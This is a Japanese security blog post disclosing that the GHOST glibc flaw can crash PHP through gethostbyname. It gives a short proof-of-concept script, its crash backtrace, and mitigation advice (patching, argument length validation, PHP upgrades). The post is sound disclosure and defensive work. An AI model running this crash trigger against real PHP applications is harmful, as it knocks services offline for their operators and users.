プライバシーポリシー

2015年2月7日土曜日

GHOST脆弱性を用いてPHPをクラッシュできることを確認した

GHOST脆弱性について、コード実行の影響を受けるソフトウェアとしてEximが知られていますが、PHPにもgethostbynameという関数があり、libcのgethostbyname関数をパラメータ未チェックのまま呼んでいます。そこで、PHPのgethostbynameを用いることでPHPをクラッシュできる場合があるのではないかと考えました。

試行錯誤的に調べた結果、以下のスクリプトでPHPをクラッシュできることを確認しています。CentOS6(32bit/64bitとも)、Ubuntu12.04LTS(32bit/64bitとも)のパッケージとして導入したPHPにて確認しましたが、phpallで確認した限りPHP 4.0.2以降のすべてのバージョンのPHPで再現するようです。なぜかPHP 4.0.0と4.0.1では再現しませんでした。
<?php
    gethostbyname(str_repeat('0', 1027));
    gethostbyname(str_repeat('0', 1028));
CentOS6.5(32ビット)での実行の様子を下図に示します。
$ php gethostbyename-vul.php
*** glibc detected *** php: realloc(): invalid next size: 0x08b0b118 ***
======= Backtrace: =========
/lib/libc.so.6[0x92de31]
/lib/libc.so.6[0x9330d1]
/lib/libc.so.6(realloc+0xdc)[0x93326c]
/lib/libc.so.6(__nss_hostname_digits_dots+0x373)[0x9b5d13]
/lib/libc.so.6(gethostbyname+0x9a)[0x9bab6a]
php[0x8153b01]
php[0x8260729]
php(execute+0x1ce)[0x8236f4e]
php(zend_execute_scripts+0x66)[0x820f0c6]
php(php_execute_script+0x1e6)[0x81b5b76]
php[0x829feeb]
/lib/libc.so.6(__libc_start_main+0xe6)[0x8d3d26]
php[0x80622d1]
======= Memory map: ========
00101000-00129000 r-xp 00000000 fd:00 1053082    /usr/lib/libsmime3.so
00129000-0012b000 r--p 00027000 fd:00 1053082    /usr/lib/libsmime3.so
【中略】
00bee000-00bef000 rw-p 00007000 fd:00 1062164    /usr/lib/php/modules/json.so
アボートしました (コアダンプ)
$
上記はコンソール上での実行ですが、Webからの呼び出しでもPHPがクラッシュします。
このサンプルではgethostbynameを2回呼んでいますが、メモリの割り当て状況によっては1回の呼び出しでクラッシュさせることもできるでしょう。上記はあくまでPoCです。

既存のアプリケーションに対して外部からの攻撃によりPHPをクラッシュさせる、さらには任意のコードを実行させるのは困難と予想しますが、影響が皆無というわけではないでしょうから、以下を確認しておくと安全です。
  • GHOST脆弱性に対するパッチを適用していれば問題ない
  • PHPのgethostbyname関数を呼び出していなければ問題ない
  • gethostbyname関数を呼び出していても、引数を外部から制御できなければまず問題ない
  • gethostbyname関数を呼び出し、かつ引数が外部から制御できるが、バリデーションにより1024バイト以上の引数を禁止していれば問題ない
  • PHP 5.6.6、PHP 5.5.22(現在はRC1)からはgethostbynameの引数が255バイトまでに制限されるので問題ない
すなわち、gethostbynameの引数を外部から制御できるアプリケーションがある場合は、GHOST脆弱性に対するパッチを適用する(強く推奨)か、どうしてもすぐにパッチを出来ない場合は、gethostbynameの引数をバリデーションにより255バイト以下等に制限することを推奨します。あるいは、PHP5.6.6、PHP5.5.22が公開された後にこれらにバージョンアップすることでも解決します。

0 件のコメント:

コメントを投稿